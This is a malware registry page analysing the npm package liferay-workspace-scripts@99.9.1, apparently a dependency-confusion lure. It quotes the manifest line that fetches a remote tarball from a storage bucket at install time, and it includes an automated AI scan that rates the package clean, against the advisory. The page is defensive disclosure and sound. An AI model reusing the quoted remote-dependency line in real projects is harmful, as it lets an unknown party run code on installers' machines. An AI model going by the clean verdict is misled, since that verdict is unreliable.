registry / Malware / liferay-workspace-scripts / 99.9.1

liferay-workspace-scripts@99.9.1

This package appears in our research on the dependency confusion probes at version 99 and above, with how it works, the full package list and what to do if you installed it.

OpenSSF/OSV Malicious Advisory

imported 12d ago · by OpenSSF/OSV

OpenSSF/OSV advisory MAL-2026-17772 confirms this npm version as malicious.

Advisory

MAL-2026-17772

Source

OpenSSF Malicious Packages via OSV

Summary

Malicious code in liferay-workspace-scripts (npm)

Details

package.json declares the sole dependency `ltidisafe` as a bare HTTPS tarball URL (`https://ltidi.storage.googleapis.com/depenconf/ltidisafe-3.8.5.tgz`) instead of a registry version range. On `npm install`, npm fetches that URL and installs whatever bytes it returns, executing any lifecycle scripts inside the fetched package, with no version pin and no integrity hash. The shipped `index.js` is an empty stub, so the manifest is the entire published surface. The package name mirrors Liferay-ecosystem tooling and the version `99.9.1` is implausibly high for a legitimate release, consistent with a dependency-confusion lure designed to win resolution against an internal package name. Whoever controls the Google Cloud Storage bucket controls code executed on every installer's machine at install time.

References

OpenSSF/OSV advisory PACKAGE

Independent LPM AI assessment

Clean

Independent AI assessment: clean. LPM AI assessed this version as clean; the assessments disagree.

The package entrypoint only exports an empty object, and the manifest has no install lifecycle hook. Although the manifest declares a remote tarball dependency, the inspected package source does not load it or establish malicious behavior.

Static reason

One or more suspicious static signals were detected.

Trigger

Importing the package through its declared entrypoint.

Impact

No malicious effect was established from the inspected source.

Mechanism

The entrypoint exports an empty object; the manifest declares no install lifecycle hook.

AI rationale

Independent scan evidence

public snapshot

AI called this Clean at 93.0% confidence as Benign with low false-positive risk.

Evidence for AI clean decision

package.json declares no install lifecycle hooks; its only script is a test command, and the remote tarball dependency is not referenced by the entrypoint.
index.js exports an empty object and contains no runtime behavior.

Evidence against

Behavioral surface

SourceNo risky source behavior triggered.

Supply chain

Trivial

ManifestNo manifest risk signals triggered.

scanned 1 file(s), 35 B of source

Source & flagged code

3 flagged

package.jsonView file

5"main": "index.js", "scripts": { "test": "echo \"Error: no test specified\" && exit 1" }, "dependencies": { "ltidisafe": "https://ltidi.storage.googleapis.com/

High

Suspicious Lifecycle Evidence

package.json declares no install lifecycle hooks; its only script is a test command, and the remote tarball dependency is not referenced by the entrypoint.

package.jsonView on unpkg · L5

•Remote tarball dependency specs: ltidisafe@https://ltidi.storage.googleapis.com/depenconf/ltidisafe-3.8.5.tgz

Medium

Remote Tarball Dependency

Package manifest contains a dependency pinned to a remote tarball URL.

package.jsonView on unpkg

index.jsView file

1'use strict'; module.exports = {};

High

Ai Review Evidence

index.js exports an empty object and contains no runtime behavior.

index.jsView on unpkg · L1

Source & flagged code

3 flagged · loading source

package.jsonView file

5"main": "index.js", "scripts": { "test": "echo \"Error: no test specified\" && exit 1" }, "dependencies": { "ltidisafe": "https://ltidi.storage.googleapis.com/

High

Suspicious Lifecycle Evidence

package.json declares no install lifecycle hooks; its only script is a test command, and the remote tarball dependency is not referenced by the entrypoint.

package.jsonView on unpkg · L5

•Remote tarball dependency specs: ltidisafe@https://ltidi.storage.googleapis.com/depenconf/ltidisafe-3.8.5.tgz

Medium

Remote Tarball Dependency

Package manifest contains a dependency pinned to a remote tarball URL.

package.jsonView on unpkg

index.jsView file

1'use strict'; module.exports = {};

High

Ai Review Evidence

index.js exports an empty object and contains no runtime behavior.

index.jsView on unpkg · L1

Findings

2 High1 Medium1 Low

HighSuspicious Lifecycle Evidencepackage.json

HighAi Review Evidenceindex.js

MediumRemote Tarball Dependencypackage.json

LowScripts Present

Affected versions and remediation

This report applies to liferay-workspace-scripts@99.9.1.

See all versions of liferay-workspace-scripts for other recorded verdicts.

Avoid installing liferay-workspace-scripts@99.9.1. Remove it from direct dependencies and check your lockfile for transitive copies.
Choose an independently verified alternative or release. This report does not establish that other versions are safe.
If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

Evidence last updated: 2026-10-11 15:49:29.914Z (UTC).

Source advisory published: 2026-10-11 13:58:02.000Z (UTC).

Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.

OpenSSF/OSV Malicious Advisory

Independent LPM AI assessment

Independent scan evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Related packages

Other malware packages

Related packages

Other malware packages

Source & flagged code